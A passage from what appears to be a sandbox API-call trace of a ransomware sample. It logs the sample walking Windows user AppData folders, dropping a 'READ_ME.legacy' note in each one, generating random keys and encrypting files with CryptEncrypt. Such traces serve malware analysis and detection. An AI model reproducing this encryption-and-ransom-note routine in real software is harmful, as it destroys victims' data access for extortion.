ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x49247e6e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="310091", cAlternateFileName="")) returned 1 [0179.879] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310091\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\310091\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.879] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.880] CloseHandle (hObject=0x1ae8) returned 1 [0179.880] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fdaae, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x19944238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x19944238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="310093", cAlternateFileName="")) returned 1 [0179.880] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310093\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\310093\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.884] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.885] CloseHandle (hObject=0x1ae8) returned 1 [0179.885] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4563a7b6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x45ab2e45, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x45ab2e45, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="onesettings_waas_featuremanagement", cAlternateFileName="ONESET~1")) returned 1 [0179.885] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\onesettings_waas_featuremanagement\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\onesettings_waas_featuremanagement\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0179.895] WriteFile (in: hFile=0x1ae8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.896] CloseHandle (hObject=0x1ae8) returned 1 [0179.896] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7e5ef96, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf7e5ef96, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf7ed1823, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.897] FindNextFileW (in: hFindFile=0x2f736b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7e5ef96, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf7e5ef96, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf7ed1823, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x61cfc0 [0179.897] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\TargetedContentCache\\v3\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ca4042, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa9ff77ac, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xf7f6a194, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f735f0 [0179.897] FindNextFileW (in: hFindFile=0x2f735f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ca4042, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa9ff77ac, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xf7f6a194, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.897] FindNextFileW (in: hFindFile=0x2f735f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9de3c89, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xea1774fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xea1774fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="280813", cAlternateFileName="")) returned 1 [0179.897] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\TargetedContentCache\\v3\\280813\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\targetedcontentcache\\v3\\280813\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1aec [0180.069] WriteFile (in: hFile=0x1aec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0180.070] CloseHandle (hObject=0x1aec) returned 1 [0180.070] FindNextFileW (in: hFindFile=0x2f735f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7f6a194, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf7f6a194, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf7f6a194, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0180.071] FindNextFileW (in: hFindFile=0x2f735f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7f6a194, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf7f6a194, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf7f6a194, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0180.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6ad00 [0180.071] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc23d3cb7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf8c86a16, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf828b0ae, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73370 [0180.071] FindNextFileW (in: hFindFile=0x2f73370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc23d3cb7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf8c86a16, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf828b0ae, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0180.071] FindNextFileW (in: hFindFile=0x2f73370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc2636207, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2636207, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2636207, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2", cAlternateFileName="")) returned 1 [0180.071] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\2\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\2\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0180.144] WriteFile (in: hFile=0x1af0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0180.145] CloseHandle (hObject=0x1af0) returned 1 [0180.146] FindNextFileW (in: hFindFile=0x2f73370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf8c607c0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf9125365, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf9125365, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="4", cAlternateFileName="")) returned 1 [0180.146] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0180.188] WriteFile (in: hFile=0x1af0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0180.189] CloseHandle (hObject=0x1af0) returned 1 [0180.190] FindNextFileW (in: hFindFile=0x2f73370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xc23d3cb7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc23d3cb7, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc23d3cb7, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0180.190] FindNextFileW (in: hFindFile=0x2f73370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf828b0ae, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf828b0ae, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf828b0ae, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0180.190] FindNextFileW (in: hFindFile=0x2f73370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf828b0ae, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf828b0ae, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf828b0ae, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0180.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9c08 [0180.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0180.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0180.190] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.190] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.248] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\container.dat", dwFileAttributes=0x80) returned 1 [0180.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9698 [0180.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x609eb0 [0180.249] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0180.249] GetFileSizeEx (in: hFile=0x1af0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0180.249] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c34c8 [0180.249] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3458 [0180.249] ReadFile (in: hFile=0x1af0, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0180.249] SetFilePointer (in: hFile=0x1af0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.249] WriteFile (in: hFile=0x1af0, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0180.249] SetFilePointer (in: hFile=0x1af0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0180.249] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.249] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.250] WriteFile (in: hFile=0x1af0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.250] WriteFile (in: hFile=0x1af0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.251] CloseHandle (hObject=0x1af0) returned 1 [0180.253] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97842c35, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x38231567, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf8a24864, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73570 [0180.253] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97842c35, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x38231567, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf8a24864, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0180.261] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a24864, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8a24864, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8a24864, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x381e50b0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381e50b0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{0079A0FC-58F2-467F-9294-6309B1E659EF}", cAlternateFileName="{0079A~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b5a769e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b5a769e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{034FA7ED-D1B4-4D9A-971D-782B8715E040}", cAlternateFileName="{034FA~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x988a6f4d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x988a6f4d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{05A060EB-5890-4344-9370-DC1E06EC42BA}", cAlternateFileName="{05A06~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98703565, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98703565, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{06A6D43F-8744-4A41-B9CE-FFA8570069CC}", cAlternateFileName="{06A6D~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98703565, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98703565, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{07E7709A-2252-4F64-93C1-4DBAB210817B}", cAlternateFileName="{07E77~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3806791c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3806791c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{095069DB-9C71-4A14-B8D7-97E8B3310415}", cAlternateFileName="{09506~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb50cb229, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb50cb229, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{0B9E8261-988B-4055-82FD-728741FA7859}", cAlternateFileName="{0B9E8~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9893f8b9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9893f8b9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3fb43ddf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{105794B2-E9C9-44C8-ACF6-B7C0B365698C}", cAlternateFileName="{10579~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b6d8969, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b6d8969, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x403c199b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{1266D82E-09AF-4573-B530-14687B493988}", cAlternateFileName="{1266D~1")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98834842, ftCreationTime.dwHighDateTime=0x1d32744, 